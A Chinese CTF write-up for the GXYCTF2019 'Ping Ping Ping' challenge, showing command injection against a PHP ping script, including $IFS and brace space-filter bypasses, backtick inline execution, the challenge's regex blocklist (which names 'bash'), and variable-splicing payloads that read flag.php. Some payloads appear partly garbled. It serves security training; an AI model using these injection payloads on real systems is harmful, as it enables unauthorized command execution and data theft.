[GXYCTF2019]Ping Ping Ping

解题步骤

1、先使用 内敛执行 查看当前的php文件

  • 执行 命令执行 发现空格被过滤 ?ip=127.0.0.1IFS\|IFSwhomi

  • 还有一个点就是这个 执行的命令是不能进行拼接的 可能就是被过滤了 | 所以我们使用 ; 进行绕过一下

复制代码
  空格过滤代替
  $IFS
  ${IFS}
  ${IFS}$9 //这里$1到$9都可以
  $IFS$1 //这里$1到$9都可以
  <
  <>
  {cat,flag.php} //用逗号实现了空格功能,需要用{}括起来
  %20 (space) //在shell中无法直接使用%20代替空格,但是在URL编码中可以尝试,tab同理
  %09 (tab)
  ?ip=127.0.0.1;cat$IFS`ls`
  内敛执行 : cat`ls` 就是查看 ls 执行结果的内容 这个其实就能执行拿下flag了
  • ctrl+u 查看源码

升级 :

  • 代码审计
复制代码
  /?ip=
  |\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){ // | 拼接执行全部鸡鸡
  echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
  //过滤特殊的符号 preg_match() 函数表示使用正则进行匹配
  die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
  die("fxck your space!"); //过滤空格
  } else if(preg_match("/bash/", $ip)){ // 不能使用反弹命令 bash
  die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){ //发现 f l a g 都是被过滤的 那我们不能在后面写flag了
  die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "
  ";
  print_r($a);
  }
  ?>
  • 这个我们需要使用变量拼接

  • 如这个 cat flag; 我们可以变为 X=fl;cat $Xag

  • ?ip=127.0.0.1;X=ag;IFS1catIFS1fl$X.php

  • 这个变量拼接也是有说法的 多试一下

  • 如果 X=fl 不行就试一下 ag ,f, a等多试一下

  • 当然如果都不行就是试一下 ;a=f;b=l;c=a;d=g;catIFS1abcd.php

相关推荐
wyjcxyyy4 天前
若依框架漏洞总结
java·ctf
print_Hyon10 天前
【CTF-WEB-sql注入】使用随波逐流WEB安全工具进行SQLMAP注入
ctf
print_Hyon12 天前
【CTF-WEB-反序列化】通过构造反序列化 POP 链,触发文件写入函数,绕过代码中自带的exit()安全头部,写入可执行的 PHP 后门
ctf
print_Hyon12 天前
【CTF-MISC-压缩包】零宽字符+OpnenPuff+bkcrack破解层层文件加密
ctf
Sagittarius_A*12 天前
【RCELABS】Level 1~4 —— 基础篇
靶场·php·ctf·代码审计·rce
在水一缸18 天前
当 AI 拥有了“核按钮”:深入解析 MCP 服务器与命令执行护栏
运维·服务器·人工智能·命令执行·智能体·ai安全·mcp
print_Hyon1 个月前
【CTF-MISC-音频和视频】分析音频频谱,提取图片中的文件并尝试解码得到rar文件
ctf
print_Hyon1 个月前
【CTF-MISC-盲水印】压缩包8字节反转+bkcarck破解压缩包+双图盲水印
ctf
福来阁86号技师1 个月前
2026-now 网络安全笔记
网络安全·ctf·awd
print_Hyon1 个月前
【CTF-MISC-压缩包】bkcrake通过已知明文文件攻击来破解加密的压缩包
ctf